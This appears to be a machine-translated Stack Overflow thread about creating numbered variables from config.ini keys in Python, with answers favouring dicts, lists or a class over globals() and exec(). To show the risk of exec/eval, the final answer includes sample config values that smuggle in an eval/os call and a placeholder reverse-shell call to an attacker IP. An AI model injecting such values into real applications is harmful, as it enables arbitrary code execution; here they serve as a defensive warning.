在 python 中使用 for 循环添加 numbererd 变量?

Add numbererd variables with for-loop in python?

我见过很多类似的问题,但我不认为这是重复的,因为我还没有找到任何具体的解决方案。大多数类似的线程几乎都在说根本不要这样做,而是使用另一种方法,但我认为在我的情况下我没有太多选择,将尝试用下面的一些示例代码进行解释。我的问题如下:

假设我有一个名为 folder1 的变量,它包含配置文件中给定键的路径值,然后我想让用户有选择地向配置文件添加更多文件夹,并自动将该值分配给名为 folder2、folder3 等的新变量

假设我有一个 config.ini 看起来像这样

[Default]

    folder1 = /var/www/example.com
    folder2 = /var/www/example2.com
    folder3 = /var/www/example3.com
    webserver = nginx
    some_other_stuff = Hello world!

我的脚本是这样的

import configparser

config = configparser.ConfigParser()
config.read("config.ini")

# Here i would like to assign variables for each value of the keys in the ini-file
folder1 = config["Default"]["folder1"] 

for num in range(2, 11):
    if config.has_option("Default", f"folder{num}"):
        # Here i would like something like var{num} = folder{num}
        globals()[f"folder{num}"] = config["Default"][f"folder{num}"]
        
webserver = config["Default"]["webserver"] 
some_other_stuff = config["Default"]["some_other_stuff"]
        
print(f"Folder 1 is {folder1}, webserver is {webserver}, and some other stuff is {some_other_stuff}")

# print(folder2) --> NameError: name 'folder2' is not defined. Did you mean: 'folder1'?

这有点自我解释我想要完成的事情,但由于到目前为止我尝试过的任何事情都没有奏效,我尝试使用另一种方法来解决它,这反而给我带来了其他问题(并且是方式打字比较麻烦,考虑到我有很多这样的不同配置选项,并且希望能够轻松地比较值等。

folders_list = []

for num in range(1, 11):
    if config.has_option("Default", f"folder{num}"):
        folders_list.append(f"folder{num}")
        
# Printing one folder work:
print(config["Default"][folders_list[0]])

# And printing a range "sort of" works as long as you know the number of folders created on beforehand
# But i would like to let the user add up to 10 paths optionally without needing to change the code
for num in range(0, 3):
    print(f'{config["Default"][folders_list[num-1]]}')

如前所述,如果我需要对这些进行大量比较操作,与仅将每个值存储在它自己的变量中相比,这种输入方式在我看来很难跟踪,而且这不会如果我希望用户有选择地在配置文件中添加任意数量的文件夹(最多 10 个)而不必编辑源代码本身,那么它真的工作得很好。我还注意到,如果我尝试根据 folders_list.

的 len 做事,使用这种方法会把事情搞砸
if len(folders_list) >= 2:
    print(config["Default"][folders_list[0]])
#else:
    #print(config["Default"][folders_list[0:len(folders_list) -1]]) --> AttributeError: 'list' object has no attribute 'lower'

谢谢!

我在这里详细说明我的评论:

您可以轻松做到的最接近的事情是将您的文件夹分配给字典并使用数字键,或者将它们添加到列表中。

...
folder_list: list = []
folder_dict: dict = {}
for num in range(2, 11):
    if config.has_option("Default", f"folder{num}"):
        # Add folder to a list and it's index will be your numeric key
        folder_list.append(config["Default"][f"folder{num}"])
        # Add folder to a dict and give it a numeric key
        folder_dict[num] = config["Default"][f"folder{num}"]

我明白你的意思,当必须使用这么多索引时,它不支持代码的可读性。我想到的一个解决方案是创建一个 class。但是我想,您试图让代码更具可读性的所有事情都会让事情在后台变得更加复杂。

使用 class

class Config:
    def __init__(self, config):
        self.config = config
    
    def folder(self, index: int) -> str:
        key = f"folder{index}"
        try:
            return self.config["Default"][key]
        except:
            raise KeyError(f"Key {key} does not exist")

config = configparser.ConfigParser()
conf = Config(config)

# Accessing your folders:
print("Folder 1:", conf.folder(1))
print("Folder 2:", conf.folder(2))
# and so on

但是,虽然它看起来更好,但恕我直言,因为它对于处理数据这样一个简单的任务来说太过分了,最好通过字典或 [= 的任何输出类型来表示它15=] 是。

你想要什么,为什么它不是一个好主意: 如果我没理解错的话,你想在运行的时候给变量赋值。出现两个问题。

第一个是,您在 运行 时创建变量,因此您不知道代码中发生了什么。您不确切知道代码中有多少像 var_1, var_2, etc. 这样的变量。如果您不知道变量是否存在,您将如何访问它?这就是字典在这种情况下如此方便的原因。使用 dict.values(), dict.items(), dict.keys(), ... 这样的属性,您可以随时了解其内容。

此外,如果您在运行时定义了变量,您将无法在编程时使用它们。例如你使用var_3 == var_4来比较数据,但是你在运行时定义了var_3var_4,Python不会运行,因为这两个变量都没有(还)定义并抛出一个 NameError

NameError: name 'var_4' is not defined

您可以通过将此类语句也放入 exec() 或更有可能 eval() 来解决此问题,但这会使事情变得复杂和丑陋。

第二个是安全问题,我已经讨论过here

您可以在 运行 时创建自定义命名变量,如下所示:

...
folder_list: list = []
folder_dict: dict = {}
for num in range(2, 11):
    if config.has_option("Default", f"folder{num}"):
        stmt = f'var_{num} = config["Default"][f"folder{num}"]'
        exec(stmt)

这会在每次迭代时创建一个变量 var_2, var_3, ... 并将文件夹分配给它。但是正如链接答案中所写, exec 在处理用户输入时很危险。如果只有你有权访问你的配置文件,这可能是一个合理的风险,只有问题 (1) 可能会让你烦恼。但是,如果其他人可以访问,或者您正在创建类似 Web 应用程序的东西,那么攻击者可能会获得对您机器的访问权限,从而访问您的配置文件,这会带来很高的风险。

在这种特定情况下,我认为无法启动链接答案中的攻击,因为您正在从配置和配置解析器中正确读取字符串 escapes/encloses 您的字符串,所以它不能被评估为一个陈述。但是如果 configparser 不能正确地做到这一点,你的应用程序就会得到一个安全漏洞,这个漏洞并不存在,因为需要的功能,但由于过度复杂地滥用内置方法(eval() / exec())

例如,当您的配置文件更改为这样时,该命令将不会执行,但使用 exec/eval 可能会出现这种情况,要考虑到所有可能的利用方式并不容易exec/eval。因此,不使用它们是很常见的,尤其是当它们会接触到您无法 100% 控制的数据时。

[Default]
    ...
    folder4 = eval('''exec("""import os""") or os.uname()''')
    # or 
    folder5 = spawn_reverse_shell(<attacker ip>, <attacker port>)

这种攻击对于不同的应用程序是不同的,并且取决于 data/the 存在 eval/exec 的处理。但如果这可以被利用,攻击者可以导入任何现有模块和 运行 代码。